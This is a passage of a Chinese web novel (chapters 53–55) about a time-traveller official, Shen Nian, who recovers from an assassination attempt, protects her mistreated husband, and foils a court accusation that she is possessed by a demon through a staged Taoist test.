一阵酸麻过后,沈年总算抽的出话口来问:“你这额头上的伤怎么回事?” 林闻溪又不由分说将整个上身压过来,抱的死紧沈年喘不上来气,拍着他的肩喊疼。 林闻溪闻声半抬起身来,泪珠禁不住的往下滴在沈年脸上。 沈年看见他眼底的乌青,费力抬手摸上他的脸,“怎么了,我不在有人欺负你了。” 林闻溪甩着眼泪故作坚强摇着头,也不说话低头在沈年唇上亲了一口,又直起腰坐起来。倒了一盏热茶来扶着沈年坐起来。 “三娘躺了几日,口渴了吧。” 沈年着实是渴了,捧起杯子准备仰头喝,一动却扯到了伤口。 “慢一点,这有伤呢。我去取个汤勺来给三娘。” 林闻溪一勺勺喂她,边瞧着沈年喝水边又忍不住湿了眼眶。 “究竟受什么委屈了。” “没有,我是怕三娘不回来了,我不想一个人留在这里。” “我一直听见你在我耳跟前说话,哪都没去,只是一直醒不过来。” “三娘听得见我说话?” “嗯。” 林闻溪见沈年不喝了,放下手里的碗勺,又扶着沈年平躺着。 “三娘饿不饿,想吃点的什么。” “不用。”沈年说着拉着林闻溪躺在他身侧,“瞧你这脸色,别忙活了先躺会。” 林闻溪侧躺着环着沈年的腰抱着,将头抵在她肩上不再动,似乎是怕碰到沈年身上的伤口。 沈年握着他的手问:“额头上的伤是自己磕的,还是谁弄的?” “是我自己,我想给磕头给三娘祈福。” 沈年并没有多大精神,叹了一声拍着他的胳膊安抚:“问了你也不说实话,看你那双眼就知道又没少折腾,时辰还早好好睡一会。” 林闻溪抬起头盯着沈年不打算闭眼:“我不想睡,我守着三娘。” “放心,我醒了就死不了。”沈年盖住他的眼眸,“你听话养养精神,明日还有的你忙呢。” 林闻溪闭上眼偷偷听着沈年呼吸平稳才敢松下心神,不知觉也睡了过去。 天刚见亮,林闻溪从惊梦中睁眼,推了推身旁的沈年唤她。 见沈年动了动手指才放心起身去洗了把脸,他这才有心思去看镜子,一瞧自己憔悴成这般模样,额上一片乌青的伤,坐下来在伤口涂了些药,仔细打理了一番发束看起来才好一些。 他又端了一盆温水到塌边,见沈年已经醒了。 “三娘擦擦脸会舒服些。” 沈年将脸凑过去,听到门扇被推开沈岳端着碗药进来边走边说:“让阿姐再试试这个药方子管不管用。” 林闻溪笑着咳了一声,沈岳抬眼见沈年坐起来,欢喜放下手里的东西过来瞧。 “阿姐何时醒的,姐夫怎不来唤我。” “昨日半夜里,我不好去打搅岳弟。” 林闻溪给沈年擦好脸,起身站起来让沈岳给她把脉。“ “岳弟的医术了得,三娘喝的药都是岳弟写的药方子。” 三人说着话听见外面的人叩门,是门口围着的侍卫,问是不是沈年醒过来了。 林闻溪到门外应了一声,回来坐下同沈年说了宋昭佛和罗从宛先前来过的事。 沈年活过来的消息很快传进宫内,城中的戒严也很快跟着解除。 一清早沈府的门槛都快要被踏破。 54 第54章 ◎一起走吧。◎ 徐府离得近是头一个进门的。 徐洛宁手中提着两大串黄纸包的糕点,迈着流星大步在屋门外头就高声唤着沈年的名字。 进了屋更是潦草扔下东西,径直往塌边一坐。 “这几日城中戒严关在府中都要将我闷坏了。” 沈年虚弱半躺着撇了下嘴道:“我可是差点没命,你居然还惦记着出府玩乐。” “你这不是又活了嘛,我这两只眼珠子又没瞎看的见。” 徐洛宁说着指了指桌案上的那些糕点,“我专程去张记铺子里抢来的头一屉云片糕、八蒸糕还有糖蒸酥酪……” 她一气说个不停。 沈年淡淡笑着听她说话,余光瞥见外间似乎有双眼睛正落在她身上。 她微微偏头一看,是阿久。 他隔着珠帘不知何时进门来站在那里,目光郁沉的盯着榻上的沈年看。 随徐珞宁跟着进来静坐着的那位庶妹瞧见沈年的目光顿了一下开口向外头的阿久唤道:“沈堂姐是自家人,安郎不必太拘束,跟着来了一回若想的话可进来拜见一下。” 沈年慌忙要摆手推辞,阿久却不忸怩拨开珠帘一下迈步走进来。 他的眼皮皱着像是许久未有好眠,沉沉的抬起来先往沈年脸上缓缓看了一眼,又觉得不合礼数垂下眸作礼道:“听闻堂姐遭逢大难,特带了几味山参来,望堂姐能早日康健。” 沈年咳了一声,“你们二人有心……多谢。” 说罢沈年见阿久的娘子没有应声,将茶盏抬起来掩着下半张脸,一口茶喝了许久。 沈年心虚的又随口补了一句:“堂妹和刘郎君瞧着十分般配呢。” 阿久听了也再说什么从里间退身出去。 “今日书院开学先生要考文章,两位姐姐说话我先回府去温书了。” 女子说着放下茶盏走出去唤着阿久一同出屋回府去了。 徐珞宁怪道:“这两个人说什么都要跟着我前来看你,凳子还没坐热就又说要走。” 沈年汗颜:“许是要顾及亲戚情分又与我并不相熟的缘故。” 徐珞宁起身站起来拆了裹着糕点的纸,倒自己先津津有味扔嘴巴里嚼起来。 “你躺在这里不知道,眼下皇城里正大肆捕人闹得人心惶惶的,也不知道她去温哪门子书。” “捕谁?”沈年问。 “自然是来杀你的那些刺客,新上任的那位姓罗的还有你母亲正在城中一间间铺子里搜罗拿人。” 沈年记得那日将那群杀手的眼睛晃盲过去后,沈年和亲卫拿铁丝捆起来七八个,余下的忙不过来让她们翻墙逃走了。 “她们受了眼伤跑不了多远,身上又带着凶器,是该尽快捉拿归案,免得伤了城中的百姓。” 徐珞宁闻言凑在沈年身前,小声八卦的问道:“不过那么多刺客你究竟是怎么逃出生天的,还将一大群人的眼弄瞎了,难不成真是外面传言那般你会” “会邪术?”沈年笑了声问,又狰狞着脸向徐珞宁做鬼脸吓唬她。 见徐珞宁不躲反贴近来看,沈年皱眉泄气道:“你怎么不怕。” “书上说妖怪也分好妖坏妖,你就算是妖也是个好妖,又不会害我有什好怕的,”徐珞宁越说越有兴致,“而且做妖听起来比做人要有意思,你快同我说说妖一般都是什么样子?” 沈年一脸黑线,推了她一把道:“你还真信,我要是真是什么妖也不至于躺这里,我跟你说这几句话都扯的伤口疼。这人世多的是奇人异才,我只是其中之一。” 徐珞宁失望的叹了口气,又锁着眉道:“可眼下外面谣言四起,你可要当心。” “没瞧见外头陛下派来的那么多侍卫,一时半刻我还没事。再说了行凶之人还没惩处,就先来问我的罪也说不过去。” “你的心倒还挺大。” 沈年向上扯了下衣袖给徐珞宁瞧手臂上的伤,无奈笑了笑道:“你看我眼下坐不能坐,站不能站的,若再日日心中惶惶不安这身子是真好不起来了。” “不过你倒是得了个天不怕地不怕的痴心护你的郎君,听说宋大人带侍卫进府时,他领着你们府上的家丁提着刀在门口拦了好久不让人进门呢!” “还有这事??”沈年一惊想支撑着坐起来,朝外间晃眼睛瞧了瞧问:“他人怎么不见,又去哪里了?” “我进门的时候瞧见他在外面正给你煎药,怪我多嘴,他不跟你说这事想也是不想你忧心。” “他哪不让我忧心,我说了几回让他歇着,你看这一不留神他就又跑出去忙活。” 徐珞宁捂脸笑了笑,“这可不是叫患难见真情嘛。” 两人又说了几句,徐珞宁见沈季步履匆匆的进来同他客气寒暄了几句便起身告辞回府,留兄妹二人说话。 见人徐珞宁走了,林闻溪端着药碗进屋侍候沈年喝药。 “瞧你们这一对,一个伤成这样,一个又跟着折腾成这副光景,待父亲回来了不知又要怎么说呢。” 林闻溪喂药的手一颤,“父亲他要回府来?” “妹妹伤的这般重,父亲他如何也要回来看看的。” 沈年气的皱起眉:“母亲答应过我七年内不让父亲回府的,如今本就够乱的,让父亲回来又做什么。” “他到底是你的生父,你如今成这样让他回来瞧一眼你都不许了?” 沈修撰的声音先飘进来,林闻溪闻声更是从放下手中的药碗,屈膝在塌边跪下。 沈年要探出手扶他却是够不到,看样子林闻溪额头上的伤也是沈修撰命他磕的。 沈年顿觉的心烦意乱,只要她不在果然故事就会慢慢滑向原来轨迹。 书中沈年猝然离世后沈修撰将失女的阴霾全数加诸在林闻溪身上,一心觉的是林闻溪克妻不详,命他日日去祠堂磕头向沈家的祖宗谢罪。 沈父更是不必多说整日换着花样折磨他泄愤,偏偏还吊着他一点命不让林闻溪死,说是怕沈年在地府还未投胎,林闻溪跟着去了到了地下二人还要做夫妻。 沈岳回府后看他可怜施了几回援手,只是那时林闻溪的心已经全然扭曲,嫉妒沈岳过得好恩将仇报,最后偷了沈岳所制的药将府上的人一个个毒死,给沈父下了慢毒让他躺在榻上生不如死。 沈修撰连日奔忙进屋来一眼瞧见面容疲惫,沈季忙起身扶她坐下。 沈修撰对跪着的林闻溪冷漠睥睨一视:“我这女儿差点命丧林府,论起来也可与你父亲先前那件事相抵了吧,让你父亲回来你可有什么意思?” 林闻溪埋着头道:“没有。” “刺客选在林府行凶并非他能左右的,父亲他有心杀人如何能相提并论” “够了。”沈修撰怒目瞪着眼,“我们沈家再经不起一点波折了,这样的祸水有你父亲压着才能安稳些。” 沈年知道再争辩什么也是无济于事,她唤沈季带着林闻溪先出屋,转过话题问:“徐珞宁刚才还同我说母亲和从宛一同去搜捕刺客,现有空回来是人已经抓到了?” 沈修撰见沈年不再与她争执,平复了脸色道:“城中各处都搜过了两回,共捕了四十六人,想来已没有漏网之鱼。” “眼下查到的线索来看都是风宪司的人,风宪司以刺探朝中官员的辛秘之事为生,养着不知数目的耳目探子,这些探子常年跟踪扒墙上树个个练的身手矫健。刺客就是风宪司的这些探子,最长的六年,最短的也入风宪司有一年零七个月。” 沈年闭着眼思考片刻道:“风宪司如今势微,我又正是连在赵党和陛下之间的结,她们想杀我也说的通。不过风宪司要动手不会笨到用自己的人,是霁王想借风宪司的名除掉我,一石二鸟。” “霁王?”沈修撰不解的挑了挑眉,“你何时又得罪了霁王让她要对你下这样的死手?” “霁王她有谋反之心。” 沈修撰惊骇一瞬站起来:“兹事体大,这样的事你如何得知的,可有证据。” “不知母亲有没有注意到从宛身边有一护卫,她就是证据。而且此事我早已跟宋昭佛禀报过,母亲不必惊慌。” 沈修撰在屋里焦急踱步,“这么天大的事情你怎现在才说。” 沈年闻言也是一脸郁闷,毕竟按着书中剧情,此时女主还在卢平县蛰伏,霁王是快结尾才出现的人物。 她也没想到霁王会在此时忽然对她下手。 想一想或许是她穿进书中影响了故事的发展。 沈年将兰城之事的经过和沈修撰大略讲了一讲。 沈修撰:“风宪司选人极为严苛,霁王这么早布局安插这么多眼线进去做什么,她难不成会未卜先知提前布局刺杀你?” “她收留养大很多当年被风宪司抄家灭族的遗孤,想来是为了报当年之仇恰巧又撞上了我。” “霁王打的一手好算盘,用这些遗孤打进风宪司既忠心无二,又能将风宪司手中握着的朝臣把柄偷到自己手中,来□□宫夺位朝臣自然会臣服于她。” 沈修撰说着后知后觉倒吸一口凉气,“怪不得你一遇刺陛下就下令京中戒严,这些遗孤第一个恨的是风宪司,第二恨的就是当时下诏屠她们族人的先帝,陛下是怕霁王直接命这些人逼宫夺位。” “她们那夜非要我的命不可,嘴里还说着杀了我为亲人报仇,说不定就是准备在那晚发动宫变。” 沈修撰沉声点头,“新帝登基只有三年根基浅薄,霁王已筹谋多年出其不意动手赢面很大,唯一的钉子就是你。如此说来倒是不必在意外面那些流言,陛下如今即便是对你心生忌惮也不敢动你。” “所以母亲不必太过焦心,这些时日为我的事操劳,您宽心回去好好睡一会。” 沈修撰闻言和颜道:“你还算是有些孝心,好好养伤。” 沈年微笑着目送沈修撰出去,唤来了小薇。 “去外面街上替我看一处院子来,要尽快。” 小薇点头领了命出去。 沈年想着她终究是没办法消除林闻溪和沈家人之间的纠葛仇怨,不如就此分开过彼此相安。 “去外院住?”林闻溪听到沈年所言,下意识摇了摇头回绝,“三娘行动不便,还是不必再折腾。再说我不想因我给三娘再添什么麻烦,就算母亲父亲要罚我,我没关系……我可以忍的。” “我不想我不在的时候你就被欺负,我不想你随时随地要磕头认错,我只想和你过安宁的日子……你在乎你。”沈年牵着他的手满眼都是心疼,“不必在意母亲和父亲会如何怪罪,我可以护着你。” 林闻溪垂泪趴着沈年身旁哽咽道:“我跟三娘走就是。” 沈年探手指碰了碰他额头上的伤口,“疼不疼,擦药了没。” 林闻溪委屈的嗯了一声,“那会不觉的疼,现在疼,还有撞祠堂门的时候肩上撞伤了,也好痛。” “这会又知道喊疼了,我清早便叫你歇着那你又溜到外面熬什么药,府里头那么多人你不使唤,也不怕药壶砸你身上又烫伤了。” “谁叫那阿久偏说我没用,照顾不好三娘,我一时赌气才出去的。”林闻溪说着将脸贴到沈年颈边,“我这几日脑子糊涂,他一说我就气不过,并非不听三娘的话。” 沈年伸手上去在林闻溪唇上轻拍了几下:“我还不知道你,这张嘴就会扯谎,我都没听见他出声。” 林闻溪抬起脸:“我没撒谎,是他凑近悄悄跟我说的。” “没有便没有吧。” “三娘刚刚打的我痛,这一句话便算了。”林闻溪故意做了一副无辜可怜表情微微仰头凑在沈年唇边。 “过来给我瞧瞧哪里打痛你了。”沈年故意摸着他的嘴巴煞有介事的瞧,林闻溪低头假装不经意在她唇瓣上擦过。 “这根本没有事。” 沈年看了半天也不亲,又推了推他的脸,“躺下睡吧。” 林闻溪明知沈年是在故意装傻使坏,但他偏偏喜欢的很,忍不住又演下去:“可是确实很痛。” 沈年扶着他的脸凑上去用力亲了一下,林闻溪尝到甜头低头缠上去吻。 他实在是有点想念沈年了,惦记着她的伤他没缠着太久,挪开嘴巴又装作没事发生躺在她身边合上眼一脸困倦。 他听沈年笑了一下,然后抓着他的手腕似乎是睡了。 两人难得好眠,醒来林闻溪支走屋里进来伺候的人,偷摸开始收拾和沈年平日的用物。 沈年说她一人就能带着所有东西,叫他想带什么就都拾掇起来,待小薇寻好院子便动身。 他从箱底掏出一个挂了三把锁的小木盒,好奇道:“三娘先将这个放一个在身上我瞧瞧。” 沈年接过来问:“你这里头放的什么东西,要锁这么严实。” 林闻溪不好意思道:“是我攒的一点钱,这么些年就这么一点家底是有些寒酸。” 沈年将木盒往身后一藏转眼不见,林闻溪看了只顾着拍手惊奇。 也不说那些自哀自怜的话了,一件件翻出来许多物件递到沈年手中,有几件还是他和沈年在兰城住时买来的。 摸着这些东西,二人谈起在兰城和下河摸鱼、去街上看河灯的日子。 林闻溪不由的欢喜。 他不想着在做什么深宅大院里的贵君了,回了京这些时日倒不似在兰城那般鲜活。 他甚至想着沈年当初不做官更好,像现在这样处在风口浪尖,日日不得安宁,他吃饭睡觉时还提着一颗心。 说话间侍从进屋来传罗从宛在外请见,兰城一别今日相见,两人都灿然一笑。 罗从宛一开口道:“外面都乱成一团麻了,沈妹和正君倒云淡风轻还能坐一起说笑,我这几日可是未查这案子可是焦头烂额。” 沈年:“你要查那几十个刺客的底细可不是要忙不过来。” 林闻溪起身唤小侍上了些茶点,犹豫开口道:“本不该在此打扰罗大人和三娘说话,可有桩事关乎案情,我得同罗大人说一声。” 罗从宛点了下头。 “那夜我本能逃脱,被那刺客擒住是被躲在门口的林长羽暗害,他还教唆那刺客当场将我杀掉。若不是因他下黑手,我不会被贼人擒住,三娘也不会因我中了暗器,说他是罪魁祸首也不为过。” “你阿弟看着稳重守礼,我那晚还想着救他,他怎可这般行事?” 沈年闻言皱着眉直犯恶心道。 林闻溪:“只是当时只有我、林长羽和那贼人三人,我并没有证据,不知能不能治得了他的罪。” 罗从宛:“死无对证,只有正君的证言却实难以定罪,不过我明日再去林府查一查看看会不会留下什么蛛丝马迹。” 林闻溪应了一声随后出去了。 “这案子真是越查越迷糊,算是知道陛下为何要将这一桩大案指给我这个刚被召回的人办。” “为何?” “卢平县虽偏远但土地肥沃,岁供的粮食一向在各县中排前几,但翻阅记账上交的粮逐年减低,别的县也是一样。加上今年各地都遭了旱灾,交的粮还要比往年减半,凭此一点便可窥见眼下国库定然十分空虚。” 沈年道:“如此说来,霁王准备起事也不是一时头脑发热。” 罗从宛压着声音说话:“霁王盘算得当,陛下也并非外人瞧着那般孱弱,听陛下意思是想借你遇刺之事将风宪司连根拔起。陛下缺钱而朝中口袋最鼓的就是风宪司,先帝在时她们抄了多少大臣的家私,又风光了近十年,搜刮来的银钱可想而知会有多少。” “所以这事陛下要一个底细完全干净,又没有根基不敢扣留银子的人来做。”罗从宛说着苦笑一声,“而且若是此事不成被反扑,也可将我交出去献祭。” “从宛……”沈年看到罗从宛的神情心也跟着要碎了。 罗从宛低迷片刻,很快又抬起头来昂扬一笑。 “我守的是天下黎明百姓,做臣子的本就是帝王手中的一颗棋子,只要是行为国为民的好事,被利用又有何妨。风宪司鱼肉百姓,作威作福这么多年,也该到倒台的时候了。” 沈年一脸钦佩的仰望着站着的罗从宛:“有我能出力的地方,便说一声。” 罗从宛摇头道:“我今日只是来看你的,你已经为我做了太多,眼下京中多少双眼睛盯着你,你又伤成这样还是暂且避避。” 她走过来看了看沈年脖颈上的伤,注视着她道:“你从前不是说我是一颗明珠,现在就让我试着为你亮一亮。” 55 第55章 ◎祥瑞◎ 罗从宛出了沈府的门直接往林府中走了一趟,她初来乍到又是来府上查案,林家人只安排了个管家引着她在府里转了转。 罗从宛在林闻溪所说的小院门口细细探查了一番,在院门的木框上发现了一丝被木屑勾下的衣料。 “请你们府上的六公子来,本官有话要问他。” 管家瞧见罗从宛寻到的东西,沉着脸点了下头去,转身快步唤林长羽。 一见面罗从宛便直说来意,问林长羽那夜有没有动手暗害。 “是阿兄胡言!” 罗从宛刚将话问出口,林长羽不假思索脱口愤懑反驳道。 “我那晚太过害怕一直躲在院中屋里,将院门上锁之事不假,可那也是惊恐下的求生之举。那日在屋里我也只听见雨声和打斗声,并没有听到阿兄敲门,更没有出去在门口站着过。” “可据沈三娘子身边的亲卫所言,沈三娘子和林正君昏死过后,公子很快便跟着将院门打开了。” “而且……”罗从宛抬起眼眸审慎的盯着林长羽的眼睛,“本官去院门口查看,发现门框上确实勾着一丝林正君所穿的衣料。” 林长羽垂眼迟钝片刻,镇定回道:“我听到外面阿兄的喊声才出来的,至于那衣料那许是阿兄与那贼人搏斗时勾到的吧。” 罗从宛笑了一声,“公子先前说害怕不敢出来,也听不见外面敲门的声音,怎又忽然不知害怕将门打开,也一下子听得见人声了呢。” “是阿兄惊喊的声音太大……我只是担心他才状着胆子出来。” 他断断续续的说毕,又将话锋一转到林闻溪头上。 “要说起来阿兄才有伤人害命之心,那日雨日我与阿兄一同走在石子路上,阿兄在后面故意踩着我的衣尾,若不是我躲避及时脑袋可就要撞在石头上,即便是不死也会摔成个痴傻儿。” 罗从宛道:“你们这一对兄弟真是怪了,怎又成林正君害你?” “我有那日被阿兄踩过的衣裳为证,还有府中的侍从的证言,听闻罗大人与阿嫂交好,难不成要因此偏信阿兄空口白牙几句话不成。” 若是平常的男子被官差问都吓得胆战生怕说错了话,而眼前的林长羽对她的问话却应对自如,甚至还敢出言质问于她。 罗从宛今日一见到他的时候,一张清素脸似若白莲,实在不像是会背地伤人的阴毒之徒。 眼下罗从宛倒是确信不疑。 至于他所说的林闻溪欲伤他的事,罗从宛想着林闻溪一心顾念着沈年,不会光天化日下在林府行凶惹出麻烦。 想来确有林闻溪踩他衣裳的事,但林长羽言过其实。 她顺着林长羽的话问下去:“本官问过当日府上的人,都说那日与沈三娘子和林正君一同玩乐相谈甚欢,依公子所言你阿兄为何要忽然要对你痛下杀手?” “阿兄对林府中人心怀怨恨,与府中姊妹兄弟们素来不和,当日融洽不过是因有阿嫂在,而且想作恶未必就需要什么理由。” “公子说的也有道理。” 林长羽巧舌善辩,罗从宛想着换个人来盘问会更轻巧些。 “公子所说的证人现在何处?” “正在外面候着。”林长羽像是早有准备,朝门外轻吭了一声,一弓着背的老侍从门口走了进来拜见。 “这是我们府上的老花匠,那日下雨父亲嘱咐他将院中的花搬到亭中,正巧看见了阿兄他对我下手。” 罗从宛问那花匠道:“你可瞧真切了,也许只是林正君不小心踩到了公子的衣裳。” 花匠笃定道:“不会看错,五郎踩着公子的衣裳,见公子要摔倒了还不松脚。” “如此本官倒要问问你,可看清了林正君的靴子是什么样式?” 花匠立刻答道:“是黑色缎面上面绣着青枝。” “你这刁仆竟敢在本官面前撒谎!”罗从宛冷肃斥了他一声,吓得那老仆慌忙就往地上跪。 他抬头看了求救般的看了林长羽一眼,伏在地上道:“小人不敢胡言,五郎那日所穿的就是那双靴。” 罗从宛嗤的笑了一声,“你到这把年纪哪里来的这么好的眼力,能隔老远瞧见林正君靴上绣的什么纹样?” 林长羽心底反应过来,林闻溪穿的什么是他低头下捡棋子时看清的,为求万无一失他还专门向那花匠说的细致,不想反倒是弄巧成拙了。 见那老花匠慌了神,林长羽将话接过来道:“先前我问过他一回,许是问他的时候我说了一嘴,让他记下了。罢了,此事若不阿兄向罗大人诬陷我,我原本是不打算拿此事出来说的,幸我也没出什么大事,阿兄如今落难我便不与他多计较什么了。” 罗从宛淡然笑着点了下头请他出去,又请来当日林府余下的人问了几句。 林主君摇着扇子不耐烦回道:“哎呦——你们官差都来问了几回了,那晚回了院我便歇下,根本没听见什么声音。” “主君的院子离出事的地方最近,按理说应该能听见声响。” “按理说来那沈三娘子还应命断当场呢,如今还不是活过来了。”林主君将话说出口才意识到不妥,拿扇子掩了下面,挤起眉头又道,“我们林府才是吃亏,那么多人莫名死在我们院子里实在是晦气,清理院子、请法师来诵经的银钱烦请罗大人回去同沈三娘子说一声。” 不单是一人这么说,那夜在林府留下的人都说睡得安稳,并没有听见什么声响。 罗从宛看几人说话时的神情不像是在说谎话,从林府告辞出来想了想林家人可能是被那些刺客下了迷药,以防她们逃出去为沈年报信。 她去牢狱提了两个刺客出来审,怪的是她们将杀人的罪名一口认下,这桩小事却如何都不承认。 翌日上朝,沈修撰身为苦主在正殿门口便哭的一把鼻涕一把泪的,赵党之人都对风宪司恨的牙痒,没了这把悬在头上的刀于她们百利而无一害。 因此虽一个个都瞧出这是沈修撰在浮夸做戏,也都情真意切的凑上前去义愤填膺的劝慰。 “沈大人保重身体,沈令使身为五品朝中新贵竟被风宪司在皇城中公然行刺,出了此等骇人听闻之事,我等定要奏请陛下严惩风宪司为沈令使讨个公道!” “我就此一女,她如今还可怜的躺在榻上不得动弹,差一点就要我这个白发人送黑发人……”沈修撰哭的不能自已,被朝臣们扶着进了殿中站稳。 她抹了抹泪站着晃着腿向身旁众人谢道:“还要请众位同僚们多在陛下面前为小女进言,惩治凶手!” “这是当然,沈大人安心。” 几人应和着个个站的腰杆笔直,抖擞着脸等着陛下临朝。 殿外传来一声接一声更高亢的呼喊,是风宪司的首阁丘陵川。 “此案蒙冤,臣请求进殿面见陛下陈情。” 风宪司并不属朝中哪阁哪部,只是先帝所设的一单独机构。成立之初只听先帝之命,孤悬六部之上,想查哪位朝臣便查,一旦查有证据不经朝廷审议,风宪司直接就带着人马闯府,将朝臣抄家下狱。 她们没有正经的官衔,无需上朝。 故而眼下朝堂上并没有风宪司站的地方,进殿前众臣都瞧见了昔日威风八面丘陵川,正跪在白玉阶下手中举着两封折子,请求入殿觐见陛下。 任谁人看了都想上前去啐一口,但朝臣又心中惊颤,谁知道丘陵川手中捏着的是不是她们的罪状。 她若一死,手里的东西呈道陛下手中,自己岂不是也要跟着遭祸。 有的人更甚,她们早被丘陵川用手中的把柄威逼利诱,做了丘陵川在朝中的探子。 那些人尚有法不责众的可能,这些探子可真要跟着丘陵川万劫不复。 殿中站着的众臣容色不一,凑成几堆抵着头窃窃私语,一时热闹。 沈修撰假装抹着眼角残留的泪珠,偷偷去瞥站在前头的霁王。 霁王是先帝的幼妹,先帝继位后接连圈禁流放了不少姊妹,但因这位霁王一向安分恭谨,身上只挂着虚职,一直一来都与世无争淡然避世的样子,还很得先帝亲近,时常召进宫与她说话。 沈修撰瞧着她此刻仍闭着眼神游一般,好似听不见众臣纷扰似得怡然自得的很。 若不是沈年所说,沈修撰真看不出来此人竟有谋反之心,还早已筹谋了那么多年。 见陛下驾临,沈修撰收回思绪又哀戚戚哭起来。 沈年隶属工部,工部尚书胡照青一马当先站出来请奏道: “沈令使被行刺一案,如今证据皆已查明,罪魁祸首此刻就在殿外跪着还请陛下严加惩治!” 罗从宛闻声呈着供状和物证走到殿前道:“刺客供认是丘陵川的下的密令,有给她们通信的密函为凭证。” 殿外的丘陵川听到陛下临朝的长钟响起,撕扯的嗓子向殿内喊。 “沈令使被妖邪附身,臣是为陛下斩除妖邪!此妖凶悍,还请陛下听臣一言早日除之,以免日后邪而侵正!” 丘陵川纵横这么多年,也不是一桩莫名的冤案就能压死。她自知构陷之人将证据做的实,她无从辩驳不如反倒认了赌一回。 “我司在先帝成立之初便只效忠陛下一人,臣手中是司内历年出入账目和司内官员户籍名册,请陛下过目。” 丘陵川知道陛下想从她身上要的是什么,此刻断尾求生将沈年推出去是聪明之举。 丘陵川的声音传进殿内,便有朝臣跟着站出来发言。 “沈令使身上的传言已传了有一阵子了,有百姓瞧见沈令使半夜建造水车周围时时闪出刺眼白光,还有沈令使所用的那些工具若她不是妖邪附身,又怎会频频出现这样的怪事?” “此事不可掉以轻心,丘首阁既说沈令使是妖邪附身,想来是有缘由,不如请她进来问一问。” 沈修撰底气十足站出来维护沈年道:“从来之听过祸国殃民的妖祟*,然小女所行之事皆是利国利民的好事,所谓妖邪之言不过是丘陵川的诡辩,还请陛下明察。” 陛下沉思过后,“此事确有蹊跷之处召丘陵川进殿来一问。” 丘陵川走进殿来,朝臣纷纷低着头生怕被她的眼睛盯上引火上身。左右内官将丘陵川手中的账目和名册呈到陛下手中。 账目上的银款实在能惊掉人的下巴。 邱陵川跪着道:“臣已将司内银两清点封存,司内之人在臣面前明誓愿随臣一起为陛下斩除妖邪,向那日雨夜殒命之人一样为陛下尽忠。” 她这是在向陛下投诚,言外之意是司中银两已被她藏匿,若陛下不接纳她,这银两也就到不了陛下手中。 陛下放下手中的折子问:“丘首阁的意思是你刺杀沈令使是在为朕尽忠?” “正是。”丘陵川磕了一个头道:“臣行风宪司之职着人监察沈令使,察觉其与常人有异,便请来静虚观中的明心道长。明心道长观沈令使后背覆着一层黑雾,是被妖物附身之状。那日沈令使离府外住,身旁守卫少,正是诛妖的好时机,臣匆匆布置人手至宫门关闭,故没来的及禀告陛下。 静虚观是皇家所设,明心道长修行多年道行高深,是京中人人信服的老道,多年前曾下山将一只为祸多年的“狼妖”收服。 因此丘陵川此言一出,朝臣纷纷惊恐哗然。 “沈令使她真是妖物……那她到底是个什么妖。” 丘陵川斩钉截铁道:“是水中河妖,此妖十分厉害。” “哎呦呦!怪不得修的都是水边的工事。” 罗从宛站出来道:“堂堂朝堂之上,众位都是朝廷命官竟完全听信方术道士的空口虚言,真是可笑!” “臣已将明心道长请来,这正殿内正气最盛,臣请陛下将沈令使请到殿内,让明心道长一验便知真假。” 沈修撰气愤道:“小女至今还在榻上躺着不得起身,怎能来殿中。” 丘陵川冷眼道:“请人抬来不就行了。” 高位上的陛下沉声点了下头,约小半个时辰后,沈年被人用担子抬进了殿内。 她病恹恹的侧躺着,身上的纱布缠的分外厚了几圈。脸色惨白张口说一个字都要因脖颈上的伤疼的紧锁起眉头,手脚都不能挪动,朝中的众臣看了都不由的心生怜悯。 “沈令使竟伤的这般重。” “如此可怜还要被折腾一番,搬弄到这殿中,真是不忍……” 沈年垂首向地上点着头,“微臣病躯,不能给陛下行礼,望陛下恕罪。” 陛下亲眼所见沈年的惨状,不忍苛责道了声无妨。 有朝臣看不过去直言道:“听闻妖物都是刀枪不入,火水不侵,沈令使好好的人一夜之间伤成这般,哪里像是妖物。” “是啊!”有人跟着附和道。 沈年闻言爬起来气息奄奄费力说道:“臣不敢欺瞒陛下,臣身上是有些常人不通的本事,但臣并非妖物。臣不知明心道长是如何断臣身份的,不过身正不怕影子斜,外面流言纷纷既今日在朝堂上议起此事,臣愿请道长上来彻底辨个清楚。” 一声通传后,一白眉老道甩着拂尘悠悠从殿门中进来。 那老道先向陛下颔首作礼,而后转头围着沈年转了几圈细看,啧声道:“怪了,那日丘首阁指给本道瞧时,分明见沈令使周身被黑气所笼,今日再瞧却并未见。” 丘陵川闻言变了脸色,阴恻恻的盯着老道使眼色。 那老道见状又道:“许是这殿中的正气将沈令使身上的邪气压住了,才叫我看不出来。” 他说罢向殿门口跟着进来的两位小童唤了一声,“奉我的法宝来。” 两小童闻声一人捧着块透明似水的水晶玉石,一人捧着尊小炉鼎小步往殿前走来。 老道招呼着小童给殿中的陛下和众臣过目:“此玉石纯洁无瑕吸纳了天地之灵气,是乃灵玉必能照出此妖的真形。” 说罢她将玉石放进炉鼎合上,打坐在地上闭眼面对着沈年念咒,沈年无言耷拉着眼皮一副病弱无力的模样。 朝臣们都纷纷踮起脚来目不转睛的盯着一坐一躺的两人瞧。 那道士闭眼念了足足有一炷香的工夫,沈年似乎是支撑不住眼睛眯着只留一点细微的缝。 终于老道念毕将拂尘往炉鼎上一扬,盖子一下被掀开。 众臣挤头下去一瞧,那玉石表皮丝毫未便,内里分明显现着一只栩栩如生的三青鸟。 三青鸟相传为西王母的侍从,守护西王母左右忠贞不二是祥瑞之鸟。 一人扬起头来呼道:“这哪是什么妖,分明是祥瑞!恭贺陛下大喜有青鸟下凡襄助大业!” 沈年故作一脸懵的神情抬起眼来看,“什么青鸟?” 殿中的朝臣亲眼瞧见跟着跪下恭贺。 丘陵川蒙了头爬过来揪着老道的衣领道:“你竟敢反水!哪来的胆子!” 老道挣开她起身向陛下道:“白玉为鉴,此事错不了。本道刚才窥探天机,竟发觉沈令使的生辰八字与那日丘首阁给我的大有出入,因此算错了其气运。” 丘陵川气急高声喊道:“你这老道休在此胡言,分明是——” 罗从宛冷峻的盯着她问道:“分明是什么?” 丘陵川停顿片刻将话憋了回去,她总不能认是她逼迫了这老道跟她一起在大殿上欺君。 内侍将炉鼎中的水晶呈到陛下面前,果真见内中悬空刻着一只纯白的三青鸟。 陛下大悦:“好好啊!” 众臣跪下齐声恭贺。 陛下笑道:“快将沈令使抬回府中好生养伤。” “微臣谢陛下。”沈年伏在担子上虚弱无道。 被抬出殿门时沈年听见罗从宛向陛下上奏的声音。 在丘陵川派人找上明心道长之前,罗从宛便已预料到迟早有人会找上她来坐实沈年的流言。 今日朝上鉴妖之事是沈年与罗从宛的将计就计。 